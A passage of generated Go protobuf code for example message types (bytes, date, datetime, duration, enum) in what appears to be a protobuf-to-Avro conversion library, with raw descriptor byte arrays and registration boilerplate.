0x42, 0x5d, 0x5a, 0x5b, 78 | 0x67, 0x6f, 0x2e, 0x65, 0x69, 0x6e, 0x72, 0x69, 0x64, 0x65, 0x2e, 0x74, 0x65, 0x63, 0x68, 0x2f, 79 | 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2d, 0x61, 0x76, 0x72, 0x6f, 0x2f, 0x69, 0x6e, 80 | 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x2f, 0x65, 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x73, 0x2f, 81 | 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x2f, 0x67, 0x65, 0x6e, 0x2f, 0x65, 0x69, 0x6e, 0x72, 0x69, 0x64, 82 | 0x65, 0x2f, 0x61, 0x76, 0x72, 0x6f, 0x2f, 0x65, 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x2f, 0x76, 83 | 0x31, 0x3b, 0x65, 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x76, 0x31, 0x62, 0x06, 0x70, 0x72, 0x6f, 84 | 0x74, 0x6f, 0x33, 85 | } 86 | 87 | var ( 88 | file_einride_avro_example_v1_example_bytes_proto_rawDescOnce sync.Once 89 | file_einride_avro_example_v1_example_bytes_proto_rawDescData = file_einride_avro_example_v1_example_bytes_proto_rawDesc 90 | ) 91 | 92 | func file_einride_avro_example_v1_example_bytes_proto_rawDescGZIP() []byte { 93 | file_einride_avro_example_v1_example_bytes_proto_rawDescOnce.Do(func() { 94 | file_einride_avro_example_v1_example_bytes_proto_rawDescData = protoimpl.X.CompressGZIP(file_einride_avro_example_v1_example_bytes_proto_rawDescData) 95 | }) 96 | return file_einride_avro_example_v1_example_bytes_proto_rawDescData 97 | } 98 | 99 | var file_einride_avro_example_v1_example_bytes_proto_msgTypes = make([]protoimpl.MessageInfo, 1) 100 | var file_einride_avro_example_v1_example_bytes_proto_goTypes = []any{ 101 | (*ExampleBytes)(nil), // 0: einride.avro.example.v1.ExampleBytes 102 | } 103 | var file_einride_avro_example_v1_example_bytes_proto_depIdxs = []int32{ 104 | 0, // [0:0] is the sub-list for method output_type 105 | 0, // [0:0] is the sub-list for method input_type 106 | 0, // [0:0] is the sub-list for extension type_name 107 | 0, // [0:0] is the sub-list for extension extendee 108 | 0, // [0:0] is the sub-list for field type_name 109 | } 110 | 111 | func init() { file_einride_avro_example_v1_example_bytes_proto_init() } 112 | func file_einride_avro_example_v1_example_bytes_proto_init() { 113 | if File_einride_avro_example_v1_example_bytes_proto != nil { 114 | return 115 | } 116 | type x struct{} 117 | out := protoimpl.TypeBuilder{ 118 | File: protoimpl.DescBuilder{ 119 | GoPackagePath: reflect.TypeOf(x{}).PkgPath(), 120 | RawDescriptor: file_einride_avro_example_v1_example_bytes_proto_rawDesc, 121 | NumEnums: 0, 122 | NumMessages: 1, 123 | NumExtensions: 0, 124 | NumServices: 0, 125 | }, 126 | GoTypes: file_einride_avro_example_v1_example_bytes_proto_goTypes, 127 | DependencyIndexes: file_einride_avro_example_v1_example_bytes_proto_depIdxs, 128 | MessageInfos: file_einride_avro_example_v1_example_bytes_proto_msgTypes, 129 | }.Build() 130 | File_einride_avro_example_v1_example_bytes_proto = out.File 131 | file_einride_avro_example_v1_example_bytes_proto_rawDesc = nil 132 | file_einride_avro_example_v1_example_bytes_proto_goTypes = nil 133 | file_einride_avro_example_v1_example_bytes_proto_depIdxs = nil 134 | } 135 | -------------------------------------------------------------------------------- /internal/examples/proto/gen/einride/avro/example/v1/example_date.pb.go: -------------------------------------------------------------------------------- 1 | // Code generated by protoc-gen-go. DO NOT EDIT. 2 | // versions: 3 | // protoc-gen-go v1.35.2 4 | // protoc (unknown) 5 | // source: einride/avro/example/v1/example_date.proto 6 | 7 | package examplev1 8 | 9 | import ( 10 | date "google.golang.org/genproto/googleapis/type/date" 11 | protoreflect "google.golang.org/protobuf/reflect/protoreflect" 12 | protoimpl "google.golang.org/protobuf/runtime/protoimpl" 13 | reflect "reflect" 14 | sync "sync" 15 | ) 16 | 17 | const ( 18 | // Verify that this generated code is sufficiently up-to-date. 19 | _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) 20 | // Verify that runtime/protoimpl is sufficiently up-to-date. 21 | _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) 22 | ) 23 | 24 | type ExampleDate struct { 25 | state protoimpl.MessageState 26 | sizeCache protoimpl.SizeCache 27 | unknownFields protoimpl.UnknownFields 28 | 29 | Date *date.Date `protobuf:"bytes,1,opt,name=date,proto3" json:"date,omitempty"` 30 | } 31 | 32 | func (x *ExampleDate) Reset() { 33 | *x = ExampleDate{} 34 | mi := &file_einride_avro_example_v1_example_date_proto_msgTypes[0] 35 | ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) 36 | ms.StoreMessageInfo(mi) 37 | } 38 | 39 | func (x *ExampleDate) String() string { 40 | return protoimpl.X.MessageStringOf(x) 41 | } 42 | 43 | func (*ExampleDate) ProtoMessage() {} 44 | 45 | func (x *ExampleDate) ProtoReflect() protoreflect.Message { 46 | mi := &file_einride_avro_example_v1_example_date_proto_msgTypes[0] 47 | if x != nil { 48 | ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) 49 | if ms.LoadMessageInfo() == nil { 50 | ms.StoreMessageInfo(mi) 51 | } 52 | return ms 53 | } 54 | return mi.MessageOf(x) 55 | } 56 | 57 | // Deprecated: Use ExampleDate.ProtoReflect.Descriptor instead. 58 | func (*ExampleDate) Descriptor() ([]byte, []int) { 59 | return file_einride_avro_example_v1_example_date_proto_rawDescGZIP(), []int{0} 60 | } 61 | 62 | func (x *ExampleDate) GetDate() *date.Date { 63 | if x != nil { 64 | return x.Date 65 | } 66 | return nil 67 | } 68 | 69 | var File_einride_avro_example_v1_example_date_proto protoreflect.FileDescriptor 70 | 71 | var file_einride_avro_example_v1_example_date_proto_rawDesc = []byte{ 72 | 0x0a, 0x2a, 0x65, 0x69, 0x6e, 0x72, 0x69, 0x64, 0x65, 0x2f, 0x61, 0x76, 0x72, 0x6f, 0x2f, 0x65, 73 | 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x2f, 0x76, 0x31, 0x2f, 0x65, 0x78, 0x61, 0x6d, 0x70, 0x6c, 74 | 0x65, 0x5f, 0x64, 0x61, 0x74, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x17, 0x65, 0x69, 75 | 0x6e, 0x72, 0x69, 0x64, 0x65, 0x2e, 0x61, 0x76, 0x72, 0x6f, 0x2e, 0x65, 0x78, 0x61, 0x6d, 0x70, 76 | 0x6c, 0x65, 0x2e, 0x76, 0x31, 0x1a, 0x16, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2f, 0x74, 0x79, 77 | 0x70, 0x65, 0x2f, 0x64, 0x61, 0x74, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x22, 0x34, 0x0a, 78 | 0x0b, 0x45, 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x44, 0x61, 0x74, 0x65, 0x12, 0x25, 0x0a, 0x04, 79 | 0x64, 0x61, 0x74, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x67, 0x6f, 0x6f, 80 | 0x67, 0x6c, 0x65, 0x2e, 0x74, 0x79, 0x70, 0x65, 0x2e, 0x44, 0x61, 0x74, 0x65, 0x52, 0x04, 0x64, 81 | 0x61, 0x74, 0x65, 0x42, 0x5d, 0x5a, 0x5b, 0x67, 0x6f, 0x2e, 0x65, 0x69, 0x6e, 0x72, 0x69, 0x64, 82 | 0x65, 0x2e, 0x74, 0x65, 0x63, 0x68, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2d, 83 | 0x61, 0x76, 0x72, 0x6f, 0x2f, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x2f, 0x65, 0x78, 84 | 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x73, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x2f, 0x67, 0x65, 0x6e, 85 | 0x2f, 0x65, 0x69, 0x6e, 0x72, 0x69, 0x64, 0x65, 0x2f, 0x61, 0x76, 0x72, 0x6f, 0x2f, 0x65, 0x78, 86 | 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x2f, 0x76, 0x31, 0x3b, 0x65, 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 87 | 0x76, 0x31, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, 88 | } 89 | 90 | var ( 91 | file_einride_avro_example_v1_example_date_proto_rawDescOnce sync.Once 92 | file_einride_avro_example_v1_example_date_proto_rawDescData = file_einride_avro_example_v1_example_date_proto_rawDesc 93 | ) 94 | 95 | func file_einride_avro_example_v1_example_date_proto_rawDescGZIP() []byte { 96 | file_einride_avro_example_v1_example_date_proto_rawDescOnce.Do(func() { 97 | file_einride_avro_example_v1_example_date_proto_rawDescData = protoimpl.X.CompressGZIP(file_einride_avro_example_v1_example_date_proto_rawDescData) 98 | }) 99 | return file_einride_avro_example_v1_example_date_proto_rawDescData 100 | } 101 | 102 | var file_einride_avro_example_v1_example_date_proto_msgTypes = make([]protoimpl.MessageInfo, 1) 103 | var file_einride_avro_example_v1_example_date_proto_goTypes = []any{ 104 | (*ExampleDate)(nil), // 0: einride.avro.example.v1.ExampleDate 105 | (*date.Date)(nil), // 1: google.type.Date 106 | } 107 | var file_einride_avro_example_v1_example_date_proto_depIdxs = []int32{ 108 | 1, // 0: einride.avro.example.v1.ExampleDate.date:type_name -> google.type.Date 109 | 1, // [1:1] is the sub-list for method output_type 110 | 1, // [1:1] is the sub-list for method input_type 111 | 1, // [1:1] is the sub-list for extension type_name 112 | 1, // [1:1] is the sub-list for extension extendee 113 | 0, // [0:1] is the sub-list for field type_name 114 | } 115 | 116 | func init() { file_einride_avro_example_v1_example_date_proto_init() } 117 | func file_einride_avro_example_v1_example_date_proto_init() { 118 | if File_einride_avro_example_v1_example_date_proto != nil { 119 | return 120 | } 121 | type x struct{} 122 | out := protoimpl.TypeBuilder{ 123 | File: protoimpl.DescBuilder{ 124 | GoPackagePath: reflect.TypeOf(x{}).PkgPath(), 125 | RawDescriptor: file_einride_avro_example_v1_example_date_proto_rawDesc, 126 | NumEnums: 0, 127 | NumMessages: 1, 128 | NumExtensions: 0, 129 | NumServices: 0, 130 | }, 131 | GoTypes: file_einride_avro_example_v1_example_date_proto_goTypes, 132 | DependencyIndexes: file_einride_avro_example_v1_example_date_proto_depIdxs, 133 | MessageInfos: file_einride_avro_example_v1_example_date_proto_msgTypes, 134 | }.Build() 135 | File_einride_avro_example_v1_example_date_proto = out.File 136 | file_einride_avro_example_v1_example_date_proto_rawDesc = nil 137 | file_einride_avro_example_v1_example_date_proto_goTypes = nil 138 | file_einride_avro_example_v1_example_date_proto_depIdxs = nil 139 | } 140 | -------------------------------------------------------------------------------- /internal/examples/proto/gen/einride/avro/example/v1/example_datetime.pb.go: -------------------------------------------------------------------------------- 1 | // Code generated by protoc-gen-go. DO NOT EDIT. 2 | // versions: 3 | // protoc-gen-go v1.35.2 4 | // protoc (unknown) 5 | // source: einride/avro/example/v1/example_datetime.proto 6 | 7 | package examplev1 8 | 9 | import ( 10 | datetime "google.golang.org/genproto/googleapis/type/datetime" 11 | protoreflect "google.golang.org/protobuf/reflect/protoreflect" 12 | protoimpl "google.golang.org/protobuf/runtime/protoimpl" 13 | reflect "reflect" 14 | sync "sync" 15 | ) 16 | 17 | const ( 18 | // Verify that this generated code is sufficiently up-to-date. 19 | _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) 20 | // Verify that runtime/protoimpl is sufficiently up-to-date. 21 | _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) 22 | ) 23 | 24 | type ExampleDateTime struct { 25 | state protoimpl.MessageState 26 | sizeCache protoimpl.SizeCache 27 | unknownFields protoimpl.UnknownFields 28 | 29 | DateTime *datetime.DateTime `protobuf:"bytes,1,opt,name=date_time,json=dateTime,proto3" json:"date_time,omitempty"` 30 | } 31 | 32 | func (x *ExampleDateTime) Reset() { 33 | *x = ExampleDateTime{} 34 | mi := &file_einride_avro_example_v1_example_datetime_proto_msgTypes[0] 35 | ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) 36 | ms.StoreMessageInfo(mi) 37 | } 38 | 39 | func (x *ExampleDateTime) String() string { 40 | return protoimpl.X.MessageStringOf(x) 41 | } 42 | 43 | func (*ExampleDateTime) ProtoMessage() {} 44 | 45 | func (x *ExampleDateTime) ProtoReflect() protoreflect.Message { 46 | mi := &file_einride_avro_example_v1_example_datetime_proto_msgTypes[0] 47 | if x != nil { 48 | ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) 49 | if ms.LoadMessageInfo() == nil { 50 | ms.StoreMessageInfo(mi) 51 | } 52 | return ms 53 | } 54 | return mi.MessageOf(x) 55 | } 56 | 57 | // Deprecated: Use ExampleDateTime.ProtoReflect.Descriptor instead. 58 | func (*ExampleDateTime) Descriptor() ([]byte, []int) { 59 | return file_einride_avro_example_v1_example_datetime_proto_rawDescGZIP(), []int{0} 60 | } 61 | 62 | func (x *ExampleDateTime) GetDateTime() *datetime.DateTime { 63 | if x != nil { 64 | return x.DateTime 65 | } 66 | return nil 67 | } 68 | 69 | var File_einride_avro_example_v1_example_datetime_proto protoreflect.FileDescriptor 70 | 71 | var file_einride_avro_example_v1_example_datetime_proto_rawDesc = []byte{ 72 | 0x0a, 0x2e, 0x65, 0x69, 0x6e, 0x72, 0x69, 0x64, 0x65, 0x2f, 0x61, 0x76, 0x72, 0x6f, 0x2f, 0x65, 73 | 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x2f, 0x76, 0x31, 0x2f, 0x65, 0x78, 0x61, 0x6d, 0x70, 0x6c, 74 | 0x65, 0x5f, 0x64, 0x61, 0x74, 0x65, 0x74, 0x69, 0x6d, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 75 | 0x12, 0x17, 0x65, 0x69, 0x6e, 0x72, 0x69, 0x64, 0x65, 0x2e, 0x61, 0x76, 0x72, 0x6f, 0x2e, 0x65, 76 | 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x2e, 0x76, 0x31, 0x1a, 0x1a, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 77 | 0x65, 0x2f, 0x74, 0x79, 0x70, 0x65, 0x2f, 0x64, 0x61, 0x74, 0x65, 0x74, 0x69, 0x6d, 0x65, 0x2e, 78 | 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x22, 0x45, 0x0a, 0x0f, 0x45, 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 79 | 0x44, 0x61, 0x74, 0x65, 0x54, 0x69, 0x6d, 0x65, 0x12, 0x32, 0x0a, 0x09, 0x64, 0x61, 0x74, 0x65, 80 | 0x5f, 0x74, 0x69, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x15, 0x2e, 0x67, 0x6f, 81 | 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x74, 0x79, 0x70, 0x65, 0x2e, 0x44, 0x61, 0x74, 0x65, 0x54, 0x69, 82 | 0x6d, 0x65, 0x52, 0x08, 0x64, 0x61, 0x74, 0x65, 0x54, 0x69, 0x6d, 0x65, 0x42, 0x5d, 0x5a, 0x5b, 83 | 0x67, 0x6f, 0x2e, 0x65, 0x69, 0x6e, 0x72, 0x69, 0x64, 0x65, 0x2e, 0x74, 0x65, 0x63, 0x68, 0x2f, 84 | 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2d, 0x61, 0x76, 0x72, 0x6f, 0x2f, 0x69, 0x6e, 85 | 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x2f, 0x65, 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x73, 0x2f, 86 | 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x2f, 0x67, 0x65, 0x6e, 0x2f, 0x65, 0x69, 0x6e, 0x72, 0x69, 0x64, 87 | 0x65, 0x2f, 0x61, 0x76, 0x72, 0x6f, 0x2f, 0x65, 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x2f, 0x76, 88 | 0x31, 0x3b, 0x65, 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x76, 0x31, 0x62, 0x06, 0x70, 0x72, 0x6f, 89 | 0x74, 0x6f, 0x33, 90 | } 91 | 92 | var ( 93 | file_einride_avro_example_v1_example_datetime_proto_rawDescOnce sync.Once 94 | file_einride_avro_example_v1_example_datetime_proto_rawDescData = file_einride_avro_example_v1_example_datetime_proto_rawDesc 95 | ) 96 | 97 | func file_einride_avro_example_v1_example_datetime_proto_rawDescGZIP() []byte { 98 | file_einride_avro_example_v1_example_datetime_proto_rawDescOnce.Do(func() { 99 | file_einride_avro_example_v1_example_datetime_proto_rawDescData = protoimpl.X.CompressGZIP(file_einride_avro_example_v1_example_datetime_proto_rawDescData) 100 | }) 101 | return file_einride_avro_example_v1_example_datetime_proto_rawDescData 102 | } 103 | 104 | var file_einride_avro_example_v1_example_datetime_proto_msgTypes = make([]protoimpl.MessageInfo, 1) 105 | var file_einride_avro_example_v1_example_datetime_proto_goTypes = []any{ 106 | (*ExampleDateTime)(nil), // 0: einride.avro.example.v1.ExampleDateTime 107 | (*datetime.DateTime)(nil), // 1: google.type.DateTime 108 | } 109 | var file_einride_avro_example_v1_example_datetime_proto_depIdxs = []int32{ 110 | 1, // 0: einride.avro.example.v1.ExampleDateTime.date_time:type_name -> google.type.DateTime 111 | 1, // [1:1] is the sub-list for method output_type 112 | 1, // [1:1] is the sub-list for method input_type 113 | 1, // [1:1] is the sub-list for extension type_name 114 | 1, // [1:1] is the sub-list for extension extendee 115 | 0, // [0:1] is the sub-list for field type_name 116 | } 117 | 118 | func init() { file_einride_avro_example_v1_example_datetime_proto_init() } 119 | func file_einride_avro_example_v1_example_datetime_proto_init() { 120 | if File_einride_avro_example_v1_example_datetime_proto != nil { 121 | return 122 | } 123 | type x struct{} 124 | out := protoimpl.TypeBuilder{ 125 | File: protoimpl.DescBuilder{ 126 | GoPackagePath: reflect.TypeOf(x{}).PkgPath(), 127 | RawDescriptor: file_einride_avro_example_v1_example_datetime_proto_rawDesc, 128 | NumEnums: 0, 129 | NumMessages: 1, 130 | NumExtensions: 0, 131 | NumServices: 0, 132 | }, 133 | GoTypes: file_einride_avro_example_v1_example_datetime_proto_goTypes, 134 | DependencyIndexes: file_einride_avro_example_v1_example_datetime_proto_depIdxs, 135 | MessageInfos: file_einride_avro_example_v1_example_datetime_proto_msgTypes, 136 | }.Build() 137 | File_einride_avro_example_v1_example_datetime_proto = out.File 138 | file_einride_avro_example_v1_example_datetime_proto_rawDesc = nil 139 | file_einride_avro_example_v1_example_datetime_proto_goTypes = nil 140 | file_einride_avro_example_v1_example_datetime_proto_depIdxs = nil 141 | } 142 | -------------------------------------------------------------------------------- /internal/examples/proto/gen/einride/avro/example/v1/example_duration.pb.go: -------------------------------------------------------------------------------- 1 | // Code generated by protoc-gen-go. DO NOT EDIT. 2 | // versions: 3 | // protoc-gen-go v1.35.2 4 | // protoc (unknown) 5 | // source: einride/avro/example/v1/example_duration.proto 6 | 7 | package examplev1 8 | 9 | import ( 10 | protoreflect "google.golang.org/protobuf/reflect/protoreflect" 11 | protoimpl "google.golang.org/protobuf/runtime/protoimpl" 12 | durationpb "google.golang.org/protobuf/types/known/durationpb" 13 | reflect "reflect" 14 | sync "sync" 15 | ) 16 | 17 | const ( 18 | // Verify that this generated code is sufficiently up-to-date. 19 | _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) 20 | // Verify that runtime/protoimpl is sufficiently up-to-date. 21 | _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) 22 | ) 23 | 24 | type ExampleDuration struct { 25 | state protoimpl.MessageState 26 | sizeCache protoimpl.SizeCache 27 | unknownFields protoimpl.UnknownFields 28 | 29 | Duration *durationpb.Duration `protobuf:"bytes,1,opt,name=duration,proto3" json:"duration,omitempty"` 30 | } 31 | 32 | func (x *ExampleDuration) Reset() { 33 | *x = ExampleDuration{} 34 | mi := &file_einride_avro_example_v1_example_duration_proto_msgTypes[0] 35 | ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) 36 | ms.StoreMessageInfo(mi) 37 | } 38 | 39 | func (x *ExampleDuration) String() string { 40 | return protoimpl.X.MessageStringOf(x) 41 | } 42 | 43 | func (*ExampleDuration) ProtoMessage() {} 44 | 45 | func (x *ExampleDuration) ProtoReflect() protoreflect.Message { 46 | mi := &file_einride_avro_example_v1_example_duration_proto_msgTypes[0] 47 | if x != nil { 48 | ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) 49 | if ms.LoadMessageInfo() == nil { 50 | ms.StoreMessageInfo(mi) 51 | } 52 | return ms 53 | } 54 | return mi.MessageOf(x) 55 | } 56 | 57 | // Deprecated: Use ExampleDuration.ProtoReflect.Descriptor instead. 58 | func (*ExampleDuration) Descriptor() ([]byte, []int) { 59 | return file_einride_avro_example_v1_example_duration_proto_rawDescGZIP(), []int{0} 60 | } 61 | 62 | func (x *ExampleDuration) GetDuration() *durationpb.Duration { 63 | if x != nil { 64 | return x.Duration 65 | } 66 | return nil 67 | } 68 | 69 | var File_einride_avro_example_v1_example_duration_proto protoreflect.FileDescriptor 70 | 71 | var file_einride_avro_example_v1_example_duration_proto_rawDesc = []byte{ 72 | 0x0a, 0x2e, 0x65, 0x69, 0x6e, 0x72, 0x69, 0x64, 0x65, 0x2f, 0x61, 0x76, 0x72, 0x6f, 0x2f, 0x65, 73 | 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x2f, 0x76, 0x31, 0x2f, 0x65, 0x78, 0x61, 0x6d, 0x70, 0x6c, 74 | 0x65, 0x5f, 0x64, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 75 | 0x12, 0x17, 0x65, 0x69, 0x6e, 0x72, 0x69, 0x64, 0x65, 0x2e, 0x61, 0x76, 0x72, 0x6f, 0x2e, 0x65, 76 | 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x2e, 0x76, 0x31, 0x1a, 0x1e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 77 | 0x65, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x64, 0x75, 0x72, 0x61, 0x74, 78 | 0x69, 0x6f, 0x6e, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x22, 0x48, 0x0a, 0x0f, 0x45, 0x78, 0x61, 79 | 0x6d, 0x70, 0x6c, 0x65, 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x35, 0x0a, 0x08, 80 | 0x64, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 81 | 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 82 | 0x2e, 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x08, 0x64, 0x75, 0x72, 0x61, 0x74, 83 | 0x69, 0x6f, 0x6e, 0x42, 0x5d, 0x5a, 0x5b, 0x67, 0x6f, 0x2e, 0x65, 0x69, 0x6e, 0x72, 0x69, 0x64, 84 | 0x65, 0x2e, 0x74, 0x65, 0x63, 0x68, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2d, 85 | 0x61, 0x76, 0x72, 0x6f, 0x2f, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x2f, 0x65, 0x78, 86 | 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x73, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x2f, 0x67, 0x65, 0x6e, 87 | 0x2f, 0x65, 0x69, 0x6e, 0x72, 0x69, 0x64, 0x65, 0x2f, 0x61, 0x76, 0x72, 0x6f, 0x2f, 0x65, 0x78, 88 | 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x2f, 0x76, 0x31, 0x3b, 0x65, 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 89 | 0x76, 0x31, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, 90 | } 91 | 92 | var ( 93 | file_einride_avro_example_v1_example_duration_proto_rawDescOnce sync.Once 94 | file_einride_avro_example_v1_example_duration_proto_rawDescData = file_einride_avro_example_v1_example_duration_proto_rawDesc 95 | ) 96 | 97 | func file_einride_avro_example_v1_example_duration_proto_rawDescGZIP() []byte { 98 | file_einride_avro_example_v1_example_duration_proto_rawDescOnce.Do(func() { 99 | file_einride_avro_example_v1_example_duration_proto_rawDescData = protoimpl.X.CompressGZIP(file_einride_avro_example_v1_example_duration_proto_rawDescData) 100 | }) 101 | return file_einride_avro_example_v1_example_duration_proto_rawDescData 102 | } 103 | 104 | var file_einride_avro_example_v1_example_duration_proto_msgTypes = make([]protoimpl.MessageInfo, 1) 105 | var file_einride_avro_example_v1_example_duration_proto_goTypes = []any{ 106 | (*ExampleDuration)(nil), // 0: einride.avro.example.v1.ExampleDuration 107 | (*durationpb.Duration)(nil), // 1: google.protobuf.Duration 108 | } 109 | var file_einride_avro_example_v1_example_duration_proto_depIdxs = []int32{ 110 | 1, // 0: einride.avro.example.v1.ExampleDuration.duration:type_name -> google.protobuf.Duration 111 | 1, // [1:1] is the sub-list for method output_type 112 | 1, // [1:1] is the sub-list for method input_type 113 | 1, // [1:1] is the sub-list for extension type_name 114 | 1, // [1:1] is the sub-list for extension extendee 115 | 0, // [0:1] is the sub-list for field type_name 116 | } 117 | 118 | func init() { file_einride_avro_example_v1_example_duration_proto_init() } 119 | func file_einride_avro_example_v1_example_duration_proto_init() { 120 | if File_einride_avro_example_v1_example_duration_proto != nil { 121 | return 122 | } 123 | type x struct{} 124 | out := protoimpl.TypeBuilder{ 125 | File: protoimpl.DescBuilder{ 126 | GoPackagePath: reflect.TypeOf(x{}).PkgPath(), 127 | RawDescriptor: file_einride_avro_example_v1_example_duration_proto_rawDesc, 128 | NumEnums: 0, 129 | NumMessages: 1, 130 | NumExtensions: 0, 131 | NumServices: 0, 132 | }, 133 | GoTypes: file_einride_avro_example_v1_example_duration_proto_goTypes, 134 | DependencyIndexes: file_einride_avro_example_v1_example_duration_proto_depIdxs, 135 | MessageInfos: file_einride_avro_example_v1_example_duration_proto_msgTypes, 136 | }.Build() 137 | File_einride_avro_example_v1_example_duration_proto = out.File 138 | file_einride_avro_example_v1_example_duration_proto_rawDesc = nil 139 | file_einride_avro_example_v1_example_duration_proto_goTypes = nil 140 | file_einride_avro_example_v1_example_duration_proto_depIdxs = nil 141 | } 142 | -------------------------------------------------------------------------------- /internal/examples/proto/gen/einride/avro/example/v1/example_enum.pb.go: -------------------------------------------------------------------------------- 1 | // Code generated by protoc-gen-go. DO NOT EDIT. 2 | // versions: 3 | // protoc-gen-go v1.35.2 4 | // protoc (unknown) 5 | // source: einride/avro/example/v1/example_enum.proto 6 | 7 | package examplev1 8 | 9 | import ( 10 | protoreflect "google.golang.org/protobuf/reflect/protoreflect" 11 | protoimpl "google.golang.org/protobuf/runtime/protoimpl" 12 | reflect "reflect" 13 | sync "sync" 14 | ) 15 | 16 | const ( 17 | // Verify that this generated code is sufficiently up-to-date. 18 | _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) 19 | // Verify that runtime/protoimpl is sufficiently up-to-date. 20 | _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) 21 | ) 22 | 23 | type ExampleEnum_Enum int32 24 | 25 | const ( 26 | ExampleEnum_ENUM_UNSPECIFIED ExampleEnum_Enum = 0 27 | ExampleEnum_ENUM_VALUE1 ExampleEnum_Enum = 1 28 | ExampleEnum_ENUM_VALUE2 ExampleEnum_Enum = 2 29 | ExampleEnum_ENUM_VALUE3 ExampleEnum_Enum = 4 30 | ) 31 | 32 | // Enum value maps for ExampleEnum_Enum. 33 | var ( 34 | ExampleEnum_Enum_name = map[int32]string{ 35 | 0: "ENUM_UNSPECIFIED", 36 | 1: "ENUM_VALUE1", 37 | 2: "ENUM_VALUE2", 38 | 4: "ENUM_VALUE3", 39 | } 40 | ExampleEnum_Enum_value = map[string]int32{ 41 | "ENUM_UNSPECIFIED": 0, 42 | "ENUM_VALUE1": 1, 43 | "ENUM_VALUE2": 2, 44 | "ENUM_VALUE3": 4, 45 | } 46 | ) 47 | 48 | func (x ExampleEnum_Enum) Enum() *ExampleEnum_Enum { 49 | p := new(ExampleEnum_Enum) 50 | *p = x 51 | return p 52 | } 53 | 54 | func (x ExampleEnum_Enum) String() string { 55 | return protoimpl.X.EnumStringOf(x.Descriptor(), protoreflect.EnumNumber(x)) 56 | } 57 | 58 | func (ExampleEnum_Enum) Descriptor() protoreflect.EnumDescriptor { 59 | return file_einride_avro_example_v1_example_enum_proto_enumTypes[0].Descriptor() 60 | } 61 | 62 | func (ExampleEnum_Enum) Type() protoreflect.EnumType { 63 | return &file_einride_avro_example_v1_example_enum_proto_enumTypes[0] 64 | } 65 